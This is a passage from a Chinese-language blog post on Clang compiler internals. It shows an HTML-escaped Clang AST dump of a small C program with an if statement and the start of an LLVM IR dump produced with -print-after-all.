&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;VarDecl &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d148&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt; used a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; cinit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt;   `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;IntegerLiteral &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d1b0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |-&lt;&#x2F;span&gt;&lt;span&gt;IfStmt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d390&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | |-&lt;&#x2F;span&gt;&lt;span&gt;BinaryOperator &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d280&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | | |-&lt;&#x2F;span&gt;&lt;span&gt;BinaryOperator &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d240&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | | | |-&lt;&#x2F;span&gt;&lt;span&gt;ImplicitCastExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d228&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;LValueToRValue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | | | |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;DeclRefExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d1e8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; lvalue Var &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d148&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | | |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;IntegerLiteral &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d208&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    | |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;IntegerLiteral &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d260&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;CompoundStmt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d378&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt;   `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;CallExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d320&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |     |-&lt;&#x2F;span&gt;&lt;span&gt;ImplicitCastExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d308&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int (*)(const char *)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;FunctionToPointerDecay&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |     |&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;DeclRefExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d2a0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int (const char *)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; Function &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f9948740&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int (const char *)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt;     `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;ImplicitCastExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d360&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;const char *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;NoOp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt;       `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;ImplicitCastExpr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d348&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;char *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;ArrayToPointerDecay&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    |&lt;&#x2F;span&gt;&lt;span&gt;         `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;StringLiteral &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d2c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;char [4]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; lvalue &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;ReturnStmt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d3c8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;line:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;IntegerLiteral &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5607f994d3a8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;col:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显然我们一直在对比的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;IfStmt&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及它下面那些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Operator、Expr、Stmt、Literal&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;什么的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看编译优化的结果：clang test.c -S -mllvm -print-after-all&lt;&#x2F;p&gt;
&lt;p&gt;控制台输出了一大堆中间代码，而且是向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;stderr&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;输出的，为什么不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;stdout？？？&lt;&#x2F;p&gt;
&lt;p&gt;前些个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的输出还比较可读，我选了第一个和源码比较&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;llvm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;*** IR Dump After Instrument function entry&#x2F;exit with calls &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;to&lt;&#x2F;span&gt;&lt;span&gt; e.g. mcount() (pre inlining) ***&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Function Attrs: noinline nounwind optnone sspstrong uwtable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;define dso_local i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; @main&lt;&#x2F;span&gt;&lt;span&gt;() #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %1&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;alloca&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %2&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;alloca&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
